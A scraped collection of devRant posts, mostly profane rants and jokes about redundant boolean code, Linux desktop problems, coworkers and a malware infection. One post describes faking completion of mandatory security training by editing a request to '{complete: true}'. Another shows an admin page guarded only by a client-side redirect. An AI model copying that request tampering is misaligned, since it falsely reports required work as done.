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I'm new, so I'm unaware of the rules. I'll simply assume I'm allowed to post this, if there are any moderators, please tell me if this simply shouldn't be here.
I came from Sololearn, and someone told me to download devRant. I love it.
I was the most active participant in the Sololearn Q&A, answering questions and replying to comments quicker than you can close the app.
Everyone knows me and enjoys having me there, but something happened. Some idiotic troll kept harassing and trolling others including myself. The mods banned him but he returned and was targeting me.
He made over 50 accounts and never replied to a comment with the same account. He sent threats and continued polluting Sololearn.
The mods had a theory is was me and banned my account. I'm heartbroken, furious, upset, and empty without my SL account. My codes are gone, my comments, answers, and replied are gone. Everything is gone.
They think I ruined SL with a false account and I'm trying to clear my name. I'm innocent.
That's when I discovered this app. In SL I loved the community and the Q&A and everything. I loved helping out but now I can't. People are even making posts asking me to return, but the mods removed them.
I hope the community here treats me well, and I hope this will replace SL. So far, I haven't felt the same way as I did with SL, but I'll try to love it just as much.182 -
Linux sucks.
Now now, chill. I'm using it as my main OS for a few years now. I know what I'm talking and this title is a bit click-baity, but this just has to go out there:
1. It's usable as a Windows replacement just fine - FALSE. XFCE4 is years old and buggy as hell especially on multi-monitor set-up, Gnome3 gets stuck more often than my Windows 98 machine used to, KDE is like a rich kid on meth. Plug in Bluetooth headphones? Well no, sorry, you have to research that online, since you'll probably need to install some packages for it to work. Did I say "work"? Well no, because after more research you realize that Debian on Gnome3 on gdm3 launches pulseaudio on its own, so you have 2 instances of pulseaudio, and one of them is stealing your headphones sometimes and you either have no sound or shitty sound. How do I know that you ask? The same way I know everything else - every time you try to do something new on any Linux, it involves a ton of research. Exciting research, don't get me wrong, but at this point it looks more like a toy than a reliable desktop computer operating system.
2. And why am I using pulseaudio? Why not alsa? years ago people were discussing on forums that pulseaudio is old and dead, yet here we are with new LTS release of Ubuntu still shining with Pulseaudio. How about several different service management systems being deprecated by new ones, each having different configurations and calling methods? Apparently systemd is old and lame now. It's a mix of 10 year old software that works badly, with a 5 year old replacement that works worse, somehow trying to live under the same roof. Does it work? Ask my headphones who sound like a fucking dial-up modem.
3. Let's talk about displays, shall we? xorg is old and deprecated, right? We got Wayland that's mostly stable. Don't know what that is? That's just basic knowledge for Linux. And when you try to install network-manager, it also tries to install Mir toolkits. Because why the fuck not install 3 display managers when you want a network manager, of which one is old and dying, one is young and stupid, and another is an infant that died of cancer?
4. Want to integrate with Google Drive? Yeah, there's a tool that mounts the drive as a local directory. Yeah only for Ubuntu. Want it on Debian? You need to compile it. Oh wait, it's on Ocaml, because fuck mainstream languages, we're hipsters. How do you compile Ocaml? Well you need to have Ocaml on your system, dummy. How do you do that? Well you need to compile Ocaml. Ok, how do I do that? Well, git clone, download and install some dependencies, configure, make... oh sorry, you're using libssl1.0.2g when you need libssl1.0.1f, nope, sorry, won't work. Want to install libssl1.0.1f? Why? You already have the "g", stupid! Want to remove libssl1.0.2g? Bye-bye literally everything that you have on your PC. But at least you got the "f". Does it work now? Well no, because you need libssl1.0.2g for another dependency to work.
And all I ever wanted was to get a fucking document from google drive (not nudes, I promise).
5. Want to watch a movie? Let me tear that screen in half and make the bottom half late by a couple of frames, because who needs vertical sync, right? Oh you do? Well install the native drivers maybe. Oh you have? Welcome to eternal Boot to Recovery mode, motherfucka!
---------------------------------
Yeah, most of the times things work just fine. But the reason I know what those things are and how they work is not curiosity. The reason that I know the inner workings of Linux much better than the inner workings of Windows, is because in those few years that I've been using it full time, it has caused me 10 times more headache than I have ever experienced with other systems. And it's not the usual annoyances like "OMG it rebooted when I didn't ask it to", but more like "Oh, it won't work and I need 2 days to find out why" kind of stuff, because even if you experience the same thing again, it's always caused by some new shit and the old solution won't work any more.
I still love it, and will continue to use it. I don't know why really. Maybe because I'm not afraid of fucking it up any more? Maybe because I can do what I want in it and recovering will be easier than on Windows?
It's a toy for me, after all these years. And I also use it for professional reasons.
But whenever someone presents it as a better alternative to Windows, I just want to puke.51 -
There are two kinds of people:
those who write
if foo.isBar() {
foo.setBar(false)
}
else {
foo.setBar(true)
}
Vs
those who write
foo.setBar(!foo.isBar())
Only good programmers will understand😢😊31 -
Went to go help someone with their wireless printer.
Client: my printer doesnt work.
Me: okay let me take a look at it.. (took a look at it and saw the power core wasnt plug in)
So it seem like you forgot to plug in the powercord. Do you by any chance have it with you?
Client: well it said it was a wireless printer so i didnt think i would need it. I threw it away.
Me: well yeah wireless as in you dont need a usb core to connect it to your computer you can just do it through wifi.. but it needs a power source in order to turn on..
Client: well then why did it said that its a wireless printer if it needs a cord? Thats false advertisement.
Me: Sir the printer is a wireless printer but you cant get power wireless you need a power source in order to turn on the printer.
Client: you probably dont know what youre doing.
Me: *its okay hes only 79 years old*8 -
public boolean even( int num ) {
if ( num < 0 )
num = -1 * num;
while ( num > 1 )
num = num - 2;
if ( num == 0 )
return true;
else
return false;
}19 -
Code: if(customer.primaryContract)
Boss: "just using a variable as a boolean isn't very readable"
Me:
if(!(!customer.primaryContract != !true).toString() == 'false')13 -
We're using a ticket system at work that a local company wrote specifically for IT-support companies. It's missing so many (to us) essential features that they flat out ignored the feature requests for. I started dissecting their front-end code to find ways to get the site to do what we want and find a lot of ugly code.
Stuff like if(!confirm("blablabla") == false) and whole JavaScript libraries just to perform one task in one page that are loaded on every page you visit, complaining in the js console that they are loaded in the wrong order. It also uses a websocket on a completely arbitrary port making it impossible to work with it if you are on a restricted wifi. They flat out lie about their customers not wanting an offline app even though their communications platform on which they got asked this question once again got swarmed with big customers disagreeing as the mobile perofrmance and design of the mobile webpage is just atrocious.
So i dig farther and farthee adding all the features we want into a userscript with a beat little 'custom namespace' i make pretty good progress until i find a site that does asynchronous loading of its subpages all of a sudden. They never do that anywhere else. Injecting code into the overcomolicated jQuery mess that they call code is impossible to me, so i track changes via a mutationObserver (awesome stuff for userscripts, never heard of it before) and get that running too.
The userscript got such a volume of functions in such a short time that my boss even used it to demonstrate to them what we want and asked them why they couldn't do it in a reasonable timeframe.
All in all I'm pretty proud if the script, but i hate that software companies that write such a mess of code in different coding styles all over the place even get a foot into the door.
And that's just the code part: They very veeeery often just break stuff in updates that then require multiple hotfixes throughout the day after we complain about it. These errors even go so far to break functionality completely or just throw 500s in our face. It really gives you the impression that they are not testing that thing at all.
And the worst: They actively encourage their trainees to write as much code as possible to get paid more than their contract says, so of course they just break stuff all the time to write as much as possible.
Where did i get that information you ask? They state it on ther fucking career page!
We also have reverse proxy in front of that page that manages the HTTPS encryption and Let's Encrypt renewal. Guess what: They internally check if the certificate on the machine is valid and the system refuses to work if it isn't. How do you upload a certificate to the system you asked? You don't! You have to mail it to them for them to SSH into the system and install it manually. When will that be possible you ask? SOON™.
At least after a while i got them to just disable the 'feature'.
While we are at 'features' (sorry for the bad structure): They have this genius 'smart redirect' feature that is supposed to throw you right back where you were once you're done editing something. Brilliant idea, how do they do it? Using a callback libk like everyone else? Noooo. A serverside database entry that only gets correctly updated half of the time. So while multitasking in multiple tabs because the performance of that thing almost forces you to makes it a whole lot worse you are not protected from it if you don't. Example: you did work on ticket A and save that. You get redirected to ticket B you worked on this morning even though its fucking 5 o' clock in the evening. So of course you get confused over wherever you selected the right ticket to begin with. So you have to check that almost everytime.
Alright, rant over.
Let's see if i beed to make another one after their big 'all feature requests on hold, UI redesign, everything will be fixed and much better'-update.5 -
A bit long story about language barrier.
So I worked at an Asia company. The company decided to close a Northern Europe site which was considered to have low productivity. I was sent to that site to learn and take their job back to HQ.
One day when I was there, we got an email from a developer in HQ, requesting feature changes in the software maintained by the Northern Europe site. I heard the local developers were discussing about the email in their language. I don't speak their language but I could feel that they were confusing. So I walked to them and ask if I could help. They show me the email written in English by the Asian developer in HQ. And I was surprised that even I (who speaks the same native language with HQ dev) couldn't fully understand what the mail wanted to express. So I called back to HQ and talked to the developer directly, in our native language.
Turns out, he actually tried to say a completely different thing with that was written in the email.
Until that moment, I finally know why the site was considered to have low productivity. The men in HQ just couldn't describe the requirements correctly. And sure you got false result when you give wrong requirements statements.
I was so angry and felt sorry about the developers in that closing site. They were far more talented and experienced than most my colleagues in HQ. But they were laid off only because communication errors in HQ developers.7 -
This is not a joke. This is not something I wrote to be funny. This is not found randomly off the internet. This is a real part of the project I inherited: a function that not only is more cumbersome to use than the simple <Array>.contains that it wraps, but rather than returning the boolean result from the function, sends it through an if statement and returns hardcoded true and false values for... Good luck? I guess?
47 -
I've had my share of incompetent coworkers. In order of appearance:
1. A full stack dev. This one guy never, and I mean NEVER uses relationships in their tables. No indexing, no keys, nada. Couple of months later he was baffled why his page took ten seconds to load.
2. The same dev as (1). Requirement was to create some sort of "theme" feature for a web app. Hacked it by putting !important all over the place.
3. The same dev again. He creates several functions that if the data exists returns a view, and if it doesn't, "echo '0'". No, not return 0 or return false or anything, but fucking echo. This was PHP. If posted a rant about this a few months ago.
4. Same dev, has no idea what clean code is. No, not just reusable functions, he doesn't even get indenting right. Some functions have 4 spaces, some 2 tabs, some 6 tabs! And this is inside the same function. God wait until he tries Python...
5. Same dev now suggests that he become the PM. GM approves (very small company). Assigns me to travel to a client since they needed "technical assistance about the API". Was actually there to lead a UAT session.
Intermezzo, that guy went from fullstack dev to PM to sales (yes, one who calls clients to offer products) to business development, to product analyst in the span of two years.
After a year and a half there, I quit.
6. New company, a "QA engineer" who also assumes the role as the product owner. Does absolutely no tests other than "functional tests" in which he NEVER produces any form of documentation. Not even a set of test cases. He goes by "intuition".
7. Same guy as (6), hands me requirements for a feature. By "hands me" I mean he did that verbally. No spec documents, no slack chat, no Trello card. I ended up writing it as a card in Trello. Fast forward to the due date, he flips out because that wasn't what he wanted. Showed him the card. He walked away, without thinking of a solution how this mess should be handled.
Despite all this, I really don't want him (6&7) to leave the company. The devs get really stressed out at this job and he does make a really good person to laugh with/at. -
So a coworker wrote this -- a function that returns a view if a specific object exists in the database. Now what would happen said object doesn't exist in the database? Forget about returning false and handling it properly, he decides that the function should print (echo) a zero! Not to mention almost all his if-else blocks prints a fucking zero when the if condition is false (there are 8 of them, if you're asking). Error messages? The hell with those.
He is now the PM btw. I've had enough of this shithole.
14 -
Dear Android:
I know I'm not on wifi. I get it. Sometimes data coverage isn't amazing or the network is congested. It's cool. You can just flash "no service" and I just won't try. or even "3G" and I'll have some patience. I rember how slow 3G was. It's okay, I'll wait.
But fucking stop showing 4G LTE if you can't make a fucking GET request for a 2kb text file in less than 5 minutes! Fucking really? Don't fucking lie to me with your false hope bullshit, just tell me the truth and I'll probably sigh and say shit and put my phone away.
But fuck you and your progress bar externally stuck in the middle. As if to say you're making progress! Wasting my time!
If you can't download a kilobyte in a 5min period, why even say I have data at all? What good does that do me?23 -
if( !condition ) vs. if(condition == false)
Pointless debate started with readability, turned into heated insults under 30 seconds 😂20 -
int main()
{
bool NeedPoints = true;
int Points = 0;
if (NeedPoints)
{
Points++;
if (Points > 10)
{
CreateAvatar();
NeedPoints = false;
}
}
}29 -
> 3 hour long mandatory online cybersecurity training
> Preaches that the company is very secure and the only risk of being “hacked” is if employees post company data on social media
> oksure.tar.gz
> Bored out of my mine
> Open dev console
> JSON continually getting sent to backend
> Simple structure and human readable fields including {complete: false}
> Open postman
> {complete: true}
> Send
> 200 response
> Refresh page
> Course complete
> :’ )
Muppets.4 -
Me-
/ / / / / / / / /
if (bool == true)
{
bool = false;
}
if (bool == false)
{
bool = true;
}
/ / / / / / / / /
My friend-
/ / / / / / / / /
bool = !bool;
/ / / / / / / / /
*not a real story*15 -
Rant rant = new Rant
rant.isRant = false // !!!
I woke up this morning after not thinking about my code for a day, and realized i had a flaw in my validation design. I fixed it before opening my eyes.
It's kind of amazing how not thinking about a problem can help solve it. Even if you don't know it's there!6 -
Not a rant - just wondering if anyone else witnessed a really awkward closing talk at a conference.
Attended a mandatory JS conference yesterday where all the speakers gave the typical conference talks on new ideas, frameworks, packages with code demonstrations. Most of talks were great and the some of the speakers were extremly humorous making the whole audience laugh which is hard to do. The talk right before the keynote speaker was like this.
Then the keynote started...
The end presenter was an asian-american woman (normally would not metion race/ gender but it’s important to the story) whose talk was basically how the white males of the world are controlling tech an their bias and privilege are marginalizing the rest of us who are not white american ‘cis-males’
She had no data and weak examples, such as sensors on automatic soap despeners not working on darker skins tones (that’s not racist it’s physics). Another example was a plugin where true=male and false=female. That is not gender biased it’s just lazy programming.
At one point she said:
“Have you even been to a party at a rich white guy’s house? There boring! I’m sorry”
This was just a talk about her feelings, if I was not surrounded by my coworkers I would have left.
I feel like this was not appropiate talk for one track conference since it traps everyone into listening. Especially where attendance is obligatory by your employer.
The conference should have warned people it would be an uncomfortable talk and invite people to start happy hour early if they chose.
To add to the weirdness in the closing remarks of one of the organizers patted himself on the back for supplying the women’s bathroom with tampons. He even created a slide for it with a tampon illustration.
Example slide from her deck.
61 -
I messaged a professor at MIT and surprisingly got a response back.
He told me that "generating primes deterministically is a solved problem" and he would be very surprised if what I wrote beat wheel factorization, but that he would be interested if it did.
It didnt when he messaged me.
It does now.
Tested on primes up to 26 digits.
Current time tends to be 1-100th to 2-100th of a second.
Seems to be steady.
First n=1million digits *always* returns false for composites, while for primes the rate is 56% true vs false, and now that I've made it faster, I'm fairly certain I can get it to 100% accuracy.
In fact what I'm thinking I'll do is generate a random semiprime using the suspected prime, map it over to some other factor tree using the variation on modular expotentiation several of us on devrant stumbled on, and then see if it still factors. If it does then we know the number in question is prime. And because we know the factor in question, the semiprime mapping function doesnt require any additional searching or iterations.
The false negative rate, I think goes to zero the larger the prime from what I can see. But it wont be an issue if I'm right about the accuracy being correctable.
I'd like to thank the professor for the challenge. He also shared a bunch of useful links.
That ones a rare bird.21 -
When /admin is protected by nothing more then:
var admin = false;
If(!admin){
setTimeout( function(){
window.location.href = "/home"
}, 1000);
}
My favourite to ever stumble on and dred going through hundreds of files to actually fix😣4 -
ARGH. I wrote a long rant containing a bunch of gems from the codebase at @work, and lost it.
I'll summarize the few I remember.
First, the cliche:
if (x == true) { return true; } else { return false; };
Seriously written (more than once) by the "legendary" devs themselves.
Then, lots of typos in constants (and methods, and comments, and ...) like:
SMD_AGENT_SHCEDULE_XYZ = '5-year-old-typo'
and gems like:
def hot_garbage
magic = [nil, '']
magic = [0, nil] if something_something
success = other_method_that_returns_nothing(magic)
if success == true
return true # signal success
end
end
^ That one is from our glorious self-proclaimed leader / "engineering director" / the junior dev thundercunt on a power trip. Good stuff.
Next up are a few of my personal favorites:
Report.run_every 4.hours # Every 6 hours
Daemon.run_at_hour 6 # Daily at 8am
LANG_ENGLISH = :en
LANG_SPANISH = :sp # because fuck standards, right?
And for design decisions...
The code was supposed to support multiple currencies, but just disregards them and sets a hardcoded 'usd' instead -- and the system stores that string on literally hundreds of millions of records, often multiple times too (e.g. for payment, display fees, etc). and! AND! IT'S ALWAYS A FUCKING VARCHAR(255)! So a single payment record uses 768 bytes to store 'usd' 'usd' 'usd'
I'd mention the design decisions that led to the 35 second minimum pay API response time (often 55 sec), but i don't remember the details well enough.
Also:
The senior devs can get pretty much anything through code review. So can the dev accountants. and ... well, pretty much everyone else. Seriously, i have absolutely no idea how all of this shit managed to get published.
But speaking of code reviews: Some security holes are allowed through because (and i quote) "they already exist elsewhere in the codebase." You can't make this up.
Oh, and another!
In a feature that merges two user objects and all their data, there's a method to generate a unique ID. It concatenates 12 random numbers (one at a time, ofc) then checks the database to see if that id already exists. It tries this 20 times, and uses the first unique one... or falls through and uses its last attempt. This ofc leads to collisions, and those collisions are messy and require a db rollback to fix. gg. This was written by the "legendary" dev himself, replete with his signature single-letter variable names. I brought it up and he laughed it off, saying the collisions have been rare enough it doesn't really matter so he won't fix it.
Yep, it's garbage all the way down.16 -
Debug.Log("Works")
Debug.Log("WORKS")
Debug.Log("WORKING")
Debug.Log("WORKIIIIIIING")
Debug.Log("WORKSES")
Debug.Log("WOREJRIE")
Debug.Log("KILL ME")
Debug.Log("TRUE")
Debug.Log("FALSE")
Debug.Log("I NEED TO TAKE A SHIT FUCKING WORK")
Debug.Log("IF YOU SEE THIS YOU WIN AT LIFE")
Debug.Log("IF YOU SEE THIS YOU ARE A FAILURE")
Debug.Log("FUUUUUUCK")
Debug.Log("FUCK ME")
Debug.Log("EICUEF738DKWIS")9 -
bool success = false
if !success {
success = try()
}
if !success {
success = try()
}
if !success {
throw new GiveUpException()
}8 -
People who start their reply to other people's comments with "Wrong." should be shot, or at least receive several hard punches in the stomach, even if their refutation is 100% on point.
It's such an autistic knee-jerk reaction to hit the error buzzer whenever you see false information.
Correcting someone is fine, amazing even, but it's not some game show where you get points for jelling the correct answer as fast as possible.
I wish there was a cryptocurrency which was mined by spreading correct information politely.25 -
not the worst by itself, except I keep finding them everywhere
if(thingThatIsTrue == true) {
// omfg
}
or it's inbred cousin
if(!thingThatIsTrue == false) {
//herpa derp
}6 -
Yesterday, my girlfriend caught a virus. There were 5+ running programs, in program files, program files x86, system32, basically everywhere. The virus modified chrome, firefox, edge (and even installed a false uc browser assuming we had one), there are many entries at startup programs, also running daemons, once you kill one of them, the others detect it and replicate their killed fellows. Tried to run a linux live usb disk for a cleanup, but the computer hibernates instead of shutdown, making modifications on disk risky.
I spent hours trying to suppress the processes, do a manual cleanup and antivirus search. It looked all cleaned up, then I reinstalled chrome, and now it switches its homepage everytime I open it, it also injects batch arguments to desktop link forum chrome (deleting it manually does not help, it comes back). I'm a linux guy, and in a few hours, I hated windows more than ever.
If anybody knows the authors, I *really* want to meet them. I promise I'm not going to punch them, but kneel down, bow my head in respect, and say "teach me master."14 -
So I once had a job as a C# developer at a company that rewrote its legacy software in .Net after years of running VB3 code - the project had originally started in 1994 and ran on Windows 3.11.
As one of the only two guys in the team that actually knew VB I was eventually put in charge of bug for bug compatibility. Since our software did some financial estimations that were impossible to do without it (because they were not well defined), our clients didn't much care if the results were slightly wrong, as long as they were exactly compatible with the previous version - compatibility proved the results were correct.
This job mostly consisted of finding rounding errors caused by the old VB3 code, but that's not what I'm here to talk about today.
One day, after dealing with many smaller functions, I felt I was ready to finally tackle the most complicated function in our code. This was a beast of a function, called Calc, which was called from everywhere in the code, did a whole bunch of calculations, and returned a single number. It consisted of 500 or so lines of spaghetti.
This function had a very peculiar structure:
Function Calc(...)
...
If SomeVariable Then
...
If Not SomeVariable Then
...
(the most important bit of calculation happened here)
...
End If
...
End If
...
End Function
But for some reason it actually worked. For days I tried to find out what's going on, where the SomeVariable was being changed or how the nesting indentation was actually wrong and didn't match the source, but to no avail. Eventually, though, after many days, I did find the answer.
SomeVariable = 1
Somehow, the makers of VB3 though it would be a good idea for Not X to be calculated as (-1 - X). So if a variable was not a boolean (-1 for True, 0 for False), both X and Not X could be truthy, non-zero values.
And kids these days complain about JavaScript's handling of ==...7 -
So yesterday I deployed a build on our release environment and i had added a new rest api end-point which I needed to test.. A heads up though, its written in java spring and the entire flow consisted of too many calls/returns from various other java & python services.. Also to make things worse, the entire deployment is a really cumbersome process as you need to copy the build from one box to another..
After like almost 4-5 hours of debugging, adding logs left right & center, crazy upload speeds (yaa this is sarcastic) and frustation at its peak, I found the issue..
There was an if condition that was checking for equality between an enum constant & an enum in a request aaaannnnnddd
*Drum roll
THE CONSTANT ENUM BELONGED TO THE WRONG PACKAGE HENCE ALWAYS EVALUATING TO FALSE... ALSO, BOTH THE ENUMS IN THE DIFFERENT PACKAGES ARE IDENTICAL... FUCCKKKKKKK MY LIFE
😑🔫1 -
Someone gave me a web method that return a boolean.
The Boolean tells me if the operation went well.
True means everything went well
False means something went wrong
But
It throws exception when something went wrong.
Basically they implemented a Boolean system to check if everything is alright but I also have to add a try/catch if something is not right.9 -
Only slightly tech related. So proud of my mom.
Many years ago I helped her create a Facebook account. As it happens with most older people, she started sharing false news that she saw on her network.
So I taught her how to verify. Reverse image search. To google it and if no real news site talked about it, it was fake.
Anyway, she listened and started learning.
Now she is telling people when they are posting something untrue and I even taught her how to report false news posts.1 -
I finally got Redux-Form’s `initialValues` to work! Wooooo~!
/giphy confetti cheering
It turns out I haven’t actually been doing anything wrong for the past week. I mean, I've been working on other things during that week, too, but I've been trying to solve this the entire time.
The cause? ReduxForm made a breaking change awhile ago (v5; we’re using v7) that prevents the `initialValues` prop from working if you decorate your form component in the wrong order. Many examples online are incorrect because of this.
Basically, the decorators `reduxForm` and `connect` do not commute:
Incorrect:
`reduxForm(...)( connect(..., {...})(form) )`
vs Correct:
`connect(..., {...})( reduxForm(...)(form) )`
But what really pisses me off is that the fucking documentation specifically fucking states that you may decorate your component IN ANY [FUCKING] ORDER.
/giphy that is [fucking] false
So, I've been following example after [fucking] example that either list these in the wrong order, or I just don't notice the different order because it doesn't matter. AND because of that NONE OF THE [...] EXAMPLES WORK.
ARGH.
I've been pacing around the office trying to figure this out for days. I've rewritten my code three times to try to solve this. I've written two workarounds for it only to rip them out and try again because they both broke some other part of the UX. (e.g. causing false validation errors after rerender)
just. hafhsldkjhgjkhagklwhsdjfkahslf. 😡
/giphy angry hades
You know how I discovered this?
I found it in a github ticket. One solitary, untagged ticket from October of last year. Not a single goddamn post anywhere else mentioned this. And the [...] documentation specifically [...] states the [...] opposite!
Bloody [...] hell.
but it finally works.
as;kgjhaekl;gahgjkdflssdafh.
I could scream.6 -
Developers who writes something similar
if (count >= 0) { return true; }
else { return false; }
deserves a special room in hell.16 -
Remember Apple's initiative to scan photos on user's devices to find child pornography?
Today I finally decided to research this.
The evidence is conflicting.
For context, the database of prohibited material is called CSAM (child sexual abuse material).
“If it finds any CSAM, it will report the user to law enforcement.”
— Futurism
“Apple said neither feature would compromise the security of private communications or notify police.”
— NPR
CSAM initiative is dead. It won't scan photos in iCloud. It won't scan photos on your device. It will be a feature that only works in some countries, only on children's devices, and it will be opt-in. It will only work for iMessage attachments.
This is what Apple actually said at https://www.apple.com/child-safety:
- “Features available in Australia, Belgium, Brazil, Canada, France, Germany, Italy, Japan, Netherlands, New Zealand, South Korea, Spain, Sweden, UK, and U.S.”
- “The Messages app includes tools to warn children when receiving or sending photos that contain nudity. These features are not enabled by default. If parents opt in, these warnings will be turned on for the child accounts in their Family Sharing plan.”
News outlets telling people they will be automatically reported to authorities, and then telling there can be false-positives is a classic example of fearmongering. I hate this. Remember, anger and fear are the most marketable emotions. They make you click. News are and will always be worded to cause these emotions — it brings in money.
When presented with good news, people think they're not being told the truth. When presented with bad news, even when they're made up, people think it's the truth that's being hidden from them. This is how news works.
Now, a HUGE but:
Apple is a multi-billion dollar corporation. There is no such thing as good billionaires. Corporations will always wait for chances to invade privacy. It's like boiling the frog — one tiny measure here, one there, and just like this, step by step, they will eliminate the privacy completely. It's in their interest to have all the data about you. It brings control.
This is not the first time Apple tries to do shit like this, and it definitely won't be the last. You have to keep an eye on your privacy. If you want your privacy in the digital age, it's necessary to fight back. If you live in Europe, take the action and vote for initiatives that oppose corporate tyranny and privacy invasions.
Privacy on the internet is one thing, but scanning people's devices is a whole another thing. This is unacceptable no matter the rationale behind it. Expect more measures like that in the near future.
Research Linux. Find a distro that suits you. The notion that you can't switch because of apps/UI/etc. may be dictated by our brain's tendency to conserve energy and avoid the change.
Take a look at mobile distros like Graphene OS and LineageOS. The former only supports Pixel devices, the latter supports a wide range of devices including OnePlus and Xiaomi. They'll have FAR better privacy than iPhones.
Consider switching. It's easier than you think. Yes, it's me who's saying this. I do and will always protect people/companies from unjust criticism, and I consider myself an Apple fangirl for personal reasons related to my childhood, yet I won't fight blindly. CSAM initiative is a valid criticism, and there's nothing preventing me from saying this is unacceptable, and Apple deserves the backlash they got.11 -
A tip to tech folks from my personal xp.
If you fuck up and make an impacting mistake in your company, like taking PROD down, noone is going to fire you on spot. Assign some more mandatory trainings - maybe. So you'd be more careful next time.
See, it's not worth getting rid of someone who made a mistake. You should be seated down and insisted to fix it. If you don't - then they might consider firing it. If you do fix it [with help or alone] - you become a more valuable asset to the company as you prove you are responsible for your actions and you take it seriously. You show that you can clean up your own shit and you don't need a babysiter next to you.
If you simply make a mistake and they replace you with someone else, that someone else is likely to be unaware of your mistakes and is doomed to repeat them. It's just bad for business.
Ofc if you making mistakes becomes a tendency rather than an exception, it's also a red flag for the business.
Don't get too laxed! And always answer for your shit. Never hide a fuckup - always alarm about it asap so that corrective actions could be taken by respective organs of the company while you are fixing it.
Come up with an action plan, announce it. Estimate resources you need [like help from others] - announce that too. Update concerned parties every half an hour or so about the status. If you find you need anything else while fixing it or you come across some blockers/delays/change of impact - always announce asap. Do avoid false alarms and disinformation.
// inspired by someone's rant today7 -
I have previously seen this in a production code base. The same code base included nested if statements (20+ conditions)...
If (condition == false) {
return false;
} else if (condition == true) {
return true;
}15 -
when your co-worker instead of commenting a piece of old code wraps it in:
if (false) {
...
}
Took me 2 hours to figure out why my changes weren't working.3 -
FUCK LINUX
now that I have your attention, and you’re probably angry, too, please, even if you don’t read this rant, never use code.org again. now, onto the rant…
god dammit, code.org sucks. I mean, anyone who created it or associates with it should, well, be considered a terrorist. they’re bombing students futures in computer science with false, useless, bullshit information. not to mention, their sponsors like bill gates, mark zuckerburg, and other rich asses, talk in a video about some boring ass shit that is hard to understand for anyone who doesn’t program, and not to mention, they use a fucking five dollar microphone. ear rape. even if you look at a textual version of it, then read the information on it, it’s practically useless because it's so terribly explained, and also useless. ironically enough, they focus on their animations more than their actual explinations, or their students for that matter. the fact that we had to encode a picture in binary, made me about 50% dumber, give or take a 0 or 1. then, we had to do it in hex, which wasn’t really much better, although more realistic I supposed. what's really the most depressing thing about this class is its application in the real world. I've learnt nothing whatsoever that will help me in the real world, or in computer science. I suppose there's two things that may be useful (that I already knew): hex, and that TCP doesn't lose packets. that's it. those two things. five seconds worth of knowledge from the first quarter of the year. the ideas just make me want to throw up. teaching the main ideas of computer science without actually teaching it? one of the teachers (probably a good one) enrolled her students in an online programming course just so they could understand, because the explanations are just so terrible. this is the only [high school] computer science course offered by code.org, and I signed up because it's an AP computer science class (tried to get into AP Java, the day I was supposed to take the test to get into an upper level class, I was told it didn't count as a tech credit). seriously, fuck code.org. it makes you dumber. their 'app lab' environment is pointless, just like everything else. the app lab is basically where you have a set of commands and have to make a dog bark() or a storm trooper miss() [and that's hell when they haven't introduced while loops yet]. the app lab is literally code.org going out of their way to make everything that their students are learning pointless in the real world. seriously, why can't we just use a <canvas> like an ACTUAL PROGRAMMER would do if they were to make a browser game, not use an app engine so slow it would be faster to update windows and android studio each time I run an 'app' in their 'environment'. their excuse is that the skills "transfer over" to the real world. BITCH! IF I DIDN'T KNOW JAVA, AND I WANTED TO MAKE A GAME IN JAVA, I'M NOT GOING TO LEARN PYTHON, THEN "TRANSFER" THE SKILLS I LEARNT, I'M GOING TO LEARN FUCKING JAVA. AND THAT GOES FOR EVER OTHER LANGUAGE, PROJECT, ETC.
I'm begging you code.org, stop, get help.9 -
This guy who earns 20% more than me wrote a method to check which string of 2 is lexicographically smaller.
public boolean isSmaller(String s1, String s2) {
String [] temp = new String[2];
temp[0] = s1;
temp[1] = s2;
Collections.sort(temp);
if (temp[0].equalsIgnoreCase(s1)) {
return true;
}
else {
return false;
}
}5 -
My Javascript professor explained Boolean to me using an allegory about pizza: "If I give you pizza, under what condition do you eat it? Your hunger must be true or false. Boolean does the same thing, but with things less exciting than pizza."
It didn't even begin to make sense to me until it became about pizza.
I vote for ALL future computer classes to be taught in terms of pizza.12 -
Kids use "if(condition)"
Men use "if(condition == true)"
Legends use "if((condition == false) == false)"12 -
SM = Scrum Master
SM: "Card #130, you added a comment saying you aren't going to do update the report?"
Me:"Yea, I explained why in the comment"
SM: "Product owner wants it."
Me: "Product owner isn't the manager using it. I talked with Steve, he said the data is accurate and they have to go to the database anyway to verify the error. That report has no way of knowing the message logged could be a false positive."
SM: "That's not our job to decide. If the Product Owner wants the feature, we add the feature."
Me: "It is absolutely is our job. Steve is the user of the report. I could really care less what the product owner said. The only reason he created the card was because Steve told him a specific error logged could be a false positive, and only happens, maybe, once a month. I'm not wasting my time, Steve's time, or this project's time on wild goose chases."
SM: "I'll schedule a meeting this afternoon to discuss the issue with the product owner. Don't worry, if you can't figure out how to filter out the false positives, I'll assign the ticket to me."
fracking fracking kiss ass. I swear, if he goes behind my back again ....I... deep breath....ahhh...OK..Thanks devrant. Work place incident diverted.6 -
Omg so I've been stuck on this function I'm writing that checks if a certain array value is so many characters long and well, it just wasnt returning false when outside the conditions..
I tried taking it step by step, echoing out every line and it all made sense to me and there were no syntax errors.
Time goes by and inside the configuration file I was testing.. I was changing the value of a DIFFERENT array property than what I was using in my condition. They looked really similar.. fml xD2 -
Got contacted by "cosmicjs" ( https://cosmicjs.com ) to build apps using the platform and blog about said apps.
Googling them, they got articles spread all over medium, by either the co-founder or the developers, praising it to be the better wordpress and how some seemingly paid twitter posts praise it too.
Apparently "Deutsche Bank" and Volkswagen, Apple, Microsoft, IBM, JPMorganChase use it, which I highly doubt, maybe somebody here can figure out if thats actually false claims, since googling any of those together obv. doesn't return anything, nor makes it sense why they would spend such a large amount on... nothing?..
That one might be just me, but then theres those comments from themselves on producthunt, praising it, though it seems they failed to logout or something? the one co-founder seems to be praising how easy it is to install, by talking about it like an external user?.. (screenshot in comments)
14 -
So I just wanted to log back into windows. Typed in the password. Wrong password...
Then I tried being super accurate while typing and also checked keyboard layout, etc. Still, wrong password.
Then I noticed that the letter p is not working. Shit, keyboard seems to be broken.
On screen keyboard -> p is not working...
What the hell? What kind of error is this?
NT Kernel code has to be something like this:
if(timeSinceLastError > someValue)
keyboard.p.enable = false;
I guess you could also replace the keyboard error with some random error.
If you encounter this, restart Windows.3 -
bool True = false;
bool False = true;
if (True == true)
{
False = True;
}
else
{
True = true;
False = !true;
}
if (!False == !!true && True == !false)
{
False = True;
True = (!!False)true;
}
Console.WriteLine("Banana");5 -
In the before time (late 90s) I worked for a company that worked for a company that worked for a company that provided software engineering services for NRC regulatory compliance. Fallout radius simulation, security access and checks, operational reporting, that sort of thing. Given that, I spent a lot of time around/at/in nuclear reactors.
